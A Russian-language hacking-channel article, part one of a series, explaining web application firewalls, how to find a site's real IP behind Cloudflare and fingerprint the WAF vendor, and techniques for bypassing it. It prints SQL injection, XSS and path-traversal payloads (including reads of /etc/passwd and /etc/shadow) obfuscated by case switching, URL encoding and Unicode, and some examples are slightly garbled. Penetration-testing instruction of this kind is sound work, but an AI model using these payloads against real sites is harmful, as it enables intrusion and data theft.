WAF (Web Application Firewall). Часть 1

WAF (Web Application Firewall). Часть 1

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Брандмауэр веб-приложений (WAF) - это набор мониторов и фильтров, предназначенных для обнаружения и блокировки сетевых атак на веб-приложение. WAF относятся к прикладному уровню модели OSI.

Брандмауэр веб-приложений используется как средство безопасности. В режиме реального времени он решает, предоставить или запретить доступ.

Компании должны быть проинформированы о том, что WAF не является полноценным средством защиты информации. Обычно он включается в общую систему безопасности веб-приложения с другими элементами, такими как компоненты, которые решают проблемы протоколов, отличных от HTTP / HTTPS, систем контроля инцидентов и служб защиты от мошенничества.

При проведении тестирования на проникновение, прежде всего, мы определяем реальный IP-адрес, определяем поставщика WAF и пытаемся обойти WAF. После прорыва защиты начинается самое захватывающее. Все, что клиент хотел спрятать за WAF, дает возможность для дальнейшего тестирования на проникновение.

Сложно ли обойти такую защиту?

Шокирует то, что каждый второй сайт уязвим для этого метода и техники обхода. Поскольку поставщики WAF пытаются поддерживать статические списки регулярных выражений для запуска WAF, хакеры находят новые способы обхода этой защиты, маскируя полезные данные.

Замков, которые нельзя сломать ломом, практически нет. Таким образом, мы видим бесконечную игру в кошки-мышки, хакеров против WAF.

Зачем использовать WAF? 

  • Глубокая защита
  • Обнаруживает и блокирует атаки на уязвимые веб-приложения
  • Защищает от множества уязвимостей
  • Защищает веб-среду компании

Популярные провайдеры WAF

Как определить провайдера WAF и настоящий IP-адрес?

Определение реального IP сайта: 

  • Используем shodan.io или censys.io
  • Найдите записи SPF и записи TXT
  • Записи SPF и TXT могут иметь IP-адрес точки входа без CloudFlare
  • Также можно проверить securitytrails.com в поле Historical данные могут показать оригинальный IP в старых записях

Как проверить правильность настройки WAF: 

  • WAF используют стандартные порты 80, 443, 8000, 8008, 8080 и 8088
  • WAF устанавливают свои собственные файлы cookie в запросах
  • WAF ассоциируются с отдельными заголовками
  • WAF раскрываются в заголовке сервера
  • WAF раскрываются в содержимом ответа
  • WAF отвечают уникальными кодами ответа на злонамеренные запросы
  • Отправьте стандартный запрос GET из браузера, перехватите и запишите заголовки ответа (определенные файлы cookie)
  • Отправьте запрос из командной строки (например, cURL), а затем проверьте содержимое и заголовки ответа
  • Отправляйте запросы GET на случайные открытые порты и проверяйте баннеры, которые могут раскрыть провайдера WAF
  • Попробуйте некоторые полезные нагрузки в виде SQL-инъекций, например: ”or1 = 1 - чтобы попробовать логин
  • Попробуйте использовать полезные нагрузки XSS, такие как <script> confirm () </script>, в некоторых полях ввода
  • Попробуйте добавить ../../../etc/passwd к случайному параметру в URL-адресе
  • Добавьте некоторые полезные данные, такие как 'OR SLEEP (5) OR' в конце URL-адресов для любого случайного параметра
  • Отправляйте GET-запросы с устаревшими протоколами, такими как HTTP / 0.9 (HTTP / 0.9 не поддерживает запросы типа POST)
  • Проверяйте заголовок сервера при различных типах взаимодействий
  • Отправьте на сервер необработанный созданный пакет FIN & RST и определите ответ
  • Атаки по побочным каналам - изучите временное поведение содержимого запроса и ответа

Большинство хакеров используют автоматизированные инструменты для ускорения процессов обхода WAF на интересующих их ресурсах. Мы составили небольшой список инструментов, которые хакеры используют каждый день.

Использование этих инструментов - лишь первый шаг к проверке того, что открыто для хакеров.

Инструменты для проверки и обхода WAF: 

  • w3af -фреймворк для аудита и атак на веб-приложения
  • wafw00f - фингерпринтинг и аутентификация WAF
  • BypassWAF - обход брандмауэров путем злоупотребления историей DNS. Этот инструмент будет искать старые записи DNS A и проверять, отвечает ли сервер для этого домена
  • CloudFail - это инструмент тактической разведки, который пытается найти исходный IP-адрес за Cloudflare WAF

Способы обхода WAF:

1. Техника переключения регистра

Комбинируйте символы верхнего и нижнего регистра для создания эффективных полезных нагрузок

Basic Request:

<ScrIpT>confirm()</sCRiPt>

Bypassed Technique:

<ScrIpT>confirm()</sCRiPt>

Basic Request:

SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'

Bypassed Technique:

sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'

Example in URL:

http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

2. Техника кодирования URL

Кодируйте обычные полезные данные с помощью % encoding/URL

Вы можете использовать Burp Suite. Он имеет встроенный инструмент кодировщика / декодера.

Blocked by WAF:

<Svg/x=">"/OnLoAD=confirm()//

Bypassed Technique:

%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

Blocked by WAF:

UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

Bypassed Technique:

UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

Example in URL:

https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

3. Техника Юникода

Символы ASCII в кодировке Unicode дают нам отличные варианты обхода WAF. Кодируйте всю полезную нагрузку или ее часть для получения результатов.

Basic Request:

<marquee onstart=prompt()>

Obfuscated:

<marquee onstart=\u0070r\u06f\u006dpt()>

Blocked by WAF:

/?redir=http://google.com

Bypassed Technique:

<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

Basic Request:

../../etc/shadow

Obfuscated:

%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

Продолжение следует…

Источник



Report Page